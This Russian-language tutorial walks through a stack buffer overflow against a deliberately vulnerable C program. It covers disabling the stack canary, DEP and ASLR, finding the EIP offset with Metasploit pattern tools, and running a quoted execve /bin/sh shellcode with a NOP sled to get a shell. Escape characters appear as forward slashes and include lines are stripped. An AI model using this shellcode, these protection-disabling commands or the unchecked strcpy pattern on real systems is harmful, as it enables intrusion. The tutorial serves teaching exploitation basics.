Создание эксплоита
Переполнение буфера стека происходит, когда программа записывает больше данных для стека, чем было выделено для буфера. Это приводит к перезаписыванию, возможно, важных избыточных данных в стеке и вызывает аварийное завершение или выполнение произвольного кода возможным перезаписыванием указателя команд и, следовательно, позволяет перенаправить выполнение потока программы.
Я использую Evan‘s debugger для демонстрации переполнения буфера на Kali Linux.
Уязвимый код
Распространенная уязвимость переполнения буфера в программе сохраняет данные, вводимые пользователем в памяти без проверки размера указания точного размера данных, которые должны быть записаны в памяти. Зная этот факт, мы можем использовать простой пример кода уязвимости для стека на основе переполнения буфера.
#include #include int main(int argc, char** argv) { char buffer[20]; strcpy(buffer, argv[1]); printf("%s/n",buffer); return 0; }
Приведенный выше код сохраняет произвольный размер переменной ARGV в буфер 20 байт без проверки фактического размера ARGV. Если ARGV больше 20 байт, то это приведет к переполнению буфера.
Взлом и отладка
Мы почти взломали нашу программу. Перед тем как сделать это, мы должны заблокировать несколько встроенных защит переполнения буфера. Так как переполнение буфера теперь является старой формой эксплойта, у компиляторов и ОС теперь есть несколько защитных мер против них.
Стек Canary
Стек canary является случайным числом, размещенным в стеке сразу же перед указателем возврата стека. В случае переполнения буфера стека, значение canary будет перезаписано и программа сделает исключение. Стек canary может быть заблокирован во время компиляции путем компилирования с опцией -fno-stack-protector.
root@kali:~# gcc vulnerable.c -o vulnerable -fno-stack-protector
Предотвращение выполнения данных (NX/DEP)
Переполнение буфера стека обычно использует возможность контролировать исполняемый поток путем выполнения пейлоада, который хранится в стеке программы. DEP просто блокирует разрешение на выполнение стека программы, изображая пейлоад невыполнимым и бесполезным. Это может быть заблокировано путем использования такой программы как execstack
root@kali:~# execstack -s ./vulnerable
DEP может быть обойден, с помощью таких техник как ret2libc attack или ROP
Address Space Layout Randomization (ASLR)
ASLR рандомизирует пространство памяти программы таким образом, чтобы перезаписывание адресной ссылки команд с фиксированным местоположением в памяти не являлось таким полезным, т.к. будет отличаться каждый раз, когда программа запускается и не будет указывать на то, что могло бы быть показано для пейлоад или ROP приспособления. ASLR может быть временно заблокировано, если ввести следующую команду
root@kali:~# echo 0 > /proc/sys/kernel/randomize_va_space
Теперь, когда вся защита переполнения буфера заблокирована, мы можем перейти к безопасному переполнению буфера стека в нашем коде во время использования отладчика, для проверки результатов.
Если мы посылаем 200 байт, состоящие из 200 A, программа завершает свою работу и в отладчике мы видим, что EIP переписан с 0x41414141.
Это происходит потому, что адрес возврата для основной функции, также хранится в стеке. После того, как память, выделенная в буфер, заканчивается, функция STRCPY начинает перезаписывать важные элементы, присутствующие в стеке, один из которых является адресом возврата основной функции. В связи с этим, после того, как основная функция завершает выполнение и возвращается, адрес, на который она возвращается, читается со стека и хранится в EIP, который в данном случае не является действительным адресом, но только 0x41414141 из-за нашего большого буфера.
root@kali:~# edb --run ./vulnerable $(python -c ‘print "A"*200‘)
Program crash due to buffer overflow
EIP points to 0x41414141
Управление EIP
Нам необходимо точно вычислить, сколько байт из наших 200 байт буфера перезаписывается EIP. У Metasploit framework есть два отличных инструмента для этого, это pattern_create и pattern_offset. Первый создает уникальный шаблон, для отправки его как буфера. Второй же используется, чтобы узнать смещение байтов, которые перезаписали EIP.
root@kali:~# /usr/share/metasploit-framework/tools/pattern_create.rb 200 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag root@kali:~# edb --run ./vulnerable Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
EIP points to a location in the unique pattern
Теперь мы можем использовать pattern_offset, чтобы найти местоположение 31624130 в сгенерированном шаблоне.
Код:
root@kali:~# /usr/share/metasploit-framework/tools/pattern_offset.rb 31624130
[*] Exact match at offset 32
Теперь нам нужно хорошее местоположение чтобы иметь адресную ссылку к EIP; предпочтительно, где мы сможем хранить выполнимый пейлоад. Отправляя выполненный пейлоад, мы можем вычислить локацию в стеке программы для нашего пейлоад.
Код:
root@kali:~# edb --run ./vulnerable $(python -c ‘print "A"*32 + "B"*4 + "C"*164‘)
Это приведет к аварийному завершению программы и EIP, чтобы ссылаться на 0x42424242, который также является недоступным местом памяти. Однако, если мы взглянем поближе на стек, мы сможем увидеть, что C аккуратно выровнены начиная с 0xbffff990, и это будет отличной локацией для шелл-кода нашего пейлоад.
Contents of stack after buffer overflow
Шелл-код и Эксплуатация
Мы можем захватить примитивный шелл-код, который выполняет /bin/bash, таким образом предоставляя нам оболочку с правами доступа пользователя, который запускает уязвимую программу.
Я использую этот:
***************************************************** * Linux/x86 execve /bin/sh shellcode 23 bytes * ***************************************************** * Author: Hamza Megahed * ***************************************************** * Twitter: @Hamza_Mega * ***************************************************** * blog: hamza-mega[dot]blogspot[dot]com * ***************************************************** * E-mail: hamza[dot]megahed[at]gmail[dot]com * ***************************************************** xor %eax,%eax push %eax push $0x68732f2f push $0x6e69622f mov %esp,%ebx push %eax push %ebx mov %esp,%ecx mov $0xb,%al int $0x80 ******************************** #include #include char *shellcode = "/x31/xc0/x50/x68/x2f/x2f/x73/x68/x68/x2f/x62/x69" "/x6e/x89/xe3/x50/x53/x89/xe1/xb0/x0b/xcd/x80"; int main(void) { fprintf(stdout,"Length: %d/n",strlen(shellcode)); (*(void(*)()) shellcode)(); return 0; }
Главное помнить, что мы должны сохранять размер нашего буфера в пределах 200 байт, либо местоположения указателя стека изменится, и наш жестко запрограммированный адрес памяти для EIP будет указывать на несоответствующую память.
Мы можем заполнить оставшееся место символами ‘/x90‘, которые обычно являются неэксплуатируемыми командами CPU.
root@kali:~# edb --run ./vulnerable $(python -c ‘print "A"*32 + "/x90/xf9/xff/xbf" +"/x90"*141 + "/x31/xc0/x50/x68/x2f/x2f/x73/x68/x68/x2f/x62/x69/x6e/x89/xe3/x50/x53/x89/xe1/xb0/x0b/xcd/x80"‘)
Мы можем проверить окно вывода, чтобы подтвердить, что наш эксплойт работает, и у нас есть оболочка.
Shell from buffer overflow exploit
Мы успешно использовали нашу уязвимую программу.
*************************************************************************
Money Hacker - ПОДПИШИСЬ!